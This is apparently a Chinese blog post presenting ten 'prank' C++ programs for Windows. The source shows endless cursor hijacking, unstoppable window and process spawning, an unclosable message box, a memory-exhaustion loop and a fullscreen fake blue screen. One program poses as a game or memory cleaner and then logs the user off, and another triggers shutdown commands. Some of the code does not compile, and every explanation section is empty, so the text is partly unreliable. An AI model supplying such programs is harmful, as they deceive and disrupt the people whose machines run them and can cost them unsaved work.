0
点赞
收藏
分享

微信扫一扫

盘点那些恶搞C++小程序

大雁f 2022-04-15 阅读 215
c++

零、前言

一、具体程序

1.鼠标乱飞

1.完整源码

/*
解释:这个程序是用来将鼠标快速在屏幕上移动,控制不了从而恶搞的。
*/
#include<windows.h>//调用Windows控制台头文件
#include<ctime>//调用C语言时间头文件
using namespace std;//使用标准名字空间
int main()//主函数开始
{
    int x=GetSystemMetrics(SM_CXSCREEN);//获取屏幕边界x
    int y=GetSystemMetrics(SM_CYSCREEN);//获取屏幕边界y
    srand(time(0));//使用随机变化值空间
    while(1){//无限循环
        SetCursorPos(rand()%x,rand()%y);//依次将鼠标指针移到屏幕上的随机位置
    }
    return 0;//主函数结束,返回0
}

2.代码详解

2.弹窗满屏

1.完整源码

#include<windows.h>//调用Windows系统控制台头文件
using namespace std;//使用标准名字空间
int main()//主函数开始
{
    system("color F5");//将屏幕调至白色
    for(;;){//无限循环
        system("start cmd");//启动系统cmd指令
    } 
    return 0;//主函数结束,返回0
}

2.代码详解

3.鼠标失灵

1.完整源码

#include<windows.h>
#include<conio.h>
#include<time.h>
#include<stdio.h>
using namespace std;
int main(){
	system("title");
	int x,y,jy;
	while(){
		x=1;
		y=1;
		SetCursorPos(x,y);
	}
	return 0;
} 

2.代码详解

4.无法摆脱

1.完整源码

#include <windows.h>
#pragma comment (lib, "User32.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
    while(1){//这个1就是造成死循环的,但是写0就不一样了。
    MessageBox(NULL, TEXT("你点确定试试?关不掉吧!hahaha"), TEXT("你的电脑中病毒了"),MB_OK);//建立弹窗
	}
    return 0;
}

2.代码详解

5.电脑花屏

1.完整源码

#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;



int main()
{
	system("color 8F");
	int result = MessageBox(MB_APPLMODAL,"请问是否要启动该程序?若启动,会占用较大cpu,此程序无毒!","来自(转载)的温馨提示",MB_ICONASTERISK|MB_YESNO);
    if (result == IDNO)
    {
    	return 0;
	}
	else 
	{
		int x,y; 
		
		
	    for (int a=0;a<10000;a++)
        {
		    x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
            
        }
        for (int b=0;b<3;b++)
        {
		
            system("start notepad");
    	    system("start calc");
    	    
    	    system("start winver");
    	    
    	    system("start cmd");
    	    system("start Nslookup");
    	   
    	    system("start ");
    	    
    	    
    	    system("start cleanmgr");
    	   
    	    system("start charmap");
    	    
    	    system("start calc");
    	    
    	    system("start calc");
    	    system("start dxdiag");
    	    
    	    system("start cmd");
    	    system("start cmd");
    	    system("start cmd");
    	   
    	    system("start taskmgr");
    	    system("start ");
    	    system("start wiaacmgr");
    	    system("start  mspaint");
    	    system("start mmc");
    	    system("start ");
    	    
        }
        system("start dxdiag");
        Sleep(2000);
		system("taskkill /im notepad.exe") ;
		system("taskkill /im calc.exe") ;
        system("taskkill /im dxdiag.exe") ;
		system("taskkill /im winver.exe") ;
		
		system("taskkill /im  cmd.exe") ;
        system("taskkill /im Nslookup.exe") ;
		
		
		
       
		system("taskkill /im cleanmgr.exe") ;
		
		system("taskkill /im charmap.exe") ;
        
	
	
	
		system("taskkill /im taskmgr.exe") ;
        
		system("taskkill /im wiaacmgr.exe") ;
		system("taskkill /im mspaint.exe") ;
        system("taskkill /im mmc.exe") ;
		
		
        for (int c=0;c<5;c++)
        {
        	system("start notepad");
		}
		system("taskkill /im notepad.exe") ;
		
		for (int d=0;d<5;d++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int l=0;l<10;l++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int m=0;m<15;m++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		
		for (int f=0;f<20;f++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int n=0;n<10;n++)
        {
        	system("start calc");
		}
		system("taskkill /im calc.exe") ;
		for (int q=0;q<15;q++)
        {
        	system("start cmd");
		}
		system("taskkill /im cmd.exe") ;
		for (int r=0;r<20;r++)
        {
        	system("start taskmgr");
		}
		system("taskkill /im taskmgr.exe") ;
		for (int g=0;g<10;g++)
        {
        	system("start mmc");
		}
		for (int h=0;h<10;h++)
        {
            system("start ");
		}
		ofstream out;
		out.open("eason.bat");
		out<<"dir/s";
		out.close();
		for (int i=0;i<5;i++)
		{
			system("start eason.bat");
		}
		ofstream oo;
		oo.open("eason2.bat");
		oo<<"tree";
		oo.close();
		for (int j=0;j<5;j++)
		{
			system("start eason2.bat");
		}
		//接下来我要把程序都关了
		
		
		system("taskkill /im taskmgr.exe") ;
	    system("taskkill /im mmc.exe") ;
		system("taskkill /im /f cmd.exe") ;
		system("taskkill /im cmd.exe") ;
		system("taskkill /im calc.exe") ;
	    for (int k=0;k<10000;k++)
        {
		    x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
        }
        ofstream o;
        o.open("easo.txt");
        o<<"(づ ̄3 ̄)づ╭?~"<<'\n'<<"程序到此便结束了ヾ(=?ω?=)o"<<'\n'<<"制作者:(转载)"<<'\n'<<"bye!"<<'\a';
		o.close();
		system("start easo.txt");
		for (int p =0;p<5;p++)
		{
		
		
		    system("shutdown -s");
		    Sleep(100);
		    system("shutdown -a");
	    }
		remove("eason.bat");
		remove("eason2.bat");
		remove("easo.txt");
	    result = MessageBox(MB_APPLMODAL,"程序已结束!","来自(转载)的温馨提示",MB_ICONASTERISK|MB_OK);
		return 0;
    }
}

2.代码详解

6.系统清理

1.完整源码

#include<windows.h>
#include<stdlib.h>
using namespace std;
int main()
{
	int n;
	cout<<"开始游戏按1"<<endl;
	cin>>n;
	if(n==1)
	{
		for(int i=0;i<100;i++)
		{
			cout<<"--------------------------------------------"<<endl;
			cout<<"  地图:沙漠2 ------------------------------"<<endl;
			cout<<"  正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
			cout<<"--------------------------------------------"<<endl;
			Sleep(100);
			system("cls");
		}
	}
	cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
	cin>>n;
	if(n==1){
		cout<<"开始清理"<<endl;
		Sleep(5000);
		cout<<"哈哈哈"<<endl;
		system("shutdown -l");
	}
	if(n==2){
		cout<<"内存不够,开始强行清理!"<<endl;
		system("shutdown -l");
	}
	return 0;
}

2.代码详解

7.蓝屏报错

1.完整源码

#include <iostream>
#include <windows.h>
 
using namespace std;
 
void full_screen() {
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   //获取窗口信息
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideTheCursor() {
	CONSOLE_CURSOR_INFO cciCursor;
	HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
 
	if(GetConsoleCursorInfo(hStdOut, &cciCursor)) {
		cciCursor.bVisible = FALSE;
		SetConsoleCursorInfo(hStdOut, &cciCursor);
	}
}
 
int main()
 {
	system("mode 96,28");
	HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
	DWORD mode;
	GetConsoleMode(hStdin, &mode);
	mode &= ~ENABLE_QUICK_EDIT_MODE;
	SetConsoleMode(hStdin, mode);
	HideTheCursor();
	CONSOLE_FONT_INFOEX cfi;
	cfi.cbSize = sizeof cfi;
	cfi.nFont = 0;
	cfi.dwFontSize.X = 15;
	cfi.dwFontSize.Y = 30;
	cfi.FontFamily = FF_DONTCARE;
	cfi.FontWeight = FW_NORMAL;
	wcscpy(cfi.FaceName, L"MS Gothic");
	SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi);
	system("color 1f");
	RECT rect;
	HWND hwnd=GetForegroundWindow();
	GetWindowRect(hwnd,&rect);
	MoveWindow(hwnd,-30,-7,8600,1080,TRUE);
	full_screen();
	cout<<"A problem has been detected and windows has been shut\
down to prevent damage\n\
to your computer.\n\n\
DRIVER_IROL_NOT_LESS_OR_EQUAL\n\n\
If this is the first time you've seen this Stop error screen, \n\
restart your computer.If this screen appears again, follow \n\
these steps:\n\n\
Check to make sure any new hardware or software is properly installed.\n\
If this is a new installation, ask your hardware or software manufacturer\n\
for any windows updates you might need.\n\n\
If problems continue. disable or remove any newly installed hardware\n\
or software. Disable BIOS memory option such as caching or shadowing.\n\
If you need to nsu Safe Mode to remove or disable components, restart\n\
your computer, press F8 to select Advanced Startup Options, and then\n\
select Safe Mode.\n\n\
Technical information:\n\
\"\"\"STOP:0x00000050(0xFD3094c2,0x00000001,0xFBFE7617,0x00000000)\n\n\
\"\"\"SPCMDON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c"<<endl;
	while(true)
    {
		HideTheCursor();
		Sleep(1000);
	}
	return 0;
}

2.代码详解

8.夺命卡屏

1.完整源码

#include<stdlib.h>
#include<iostream> 
using namespace std; 
int a;
int main(void)
{
	cout<<"你完了"<<endl; 
    while(1){
         malloc(200000);  
    } 
    turn 0;
}

2.代码详解

9.弹窗满屏(升级版)

1.完整源码

#include<iostream>
#include<string.h>
#include<stdio.h> 
#include<windows.h>
using namespace std;

int main()
{ 
	cout<<"如果你不想死,那么就开始游戏,输入(start)"<<endl;
	string a;
	cin>>a; 
    int i = 0;
    for(i=0;i<1000;i++)
    {
       system("start"); 
    }
    return 0;
}

2.代码详解

10.病毒的信

1.完整源码

#include<windows.h>
#include<fstream> 
#include <iostream>
using namespace std;
int main()
{
	cout<<"打开这个文件所在的路径(文件夹或盘)"; 
	ofstream outfile("来自病毒的信.txt",ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<<endl;  
		return 0; 
	} 
	outfile<<"运行该程序的人:"<<endl<<endl<<"        你好,你被我们盯上了。你准备好被咔嚓了吗???"<<endl<<endl<<"                                                 ——病毒"; 
	outfile.close();
	return 0; 
}

2.代码详解

二、结束语 

举报

相关推荐

0 条评论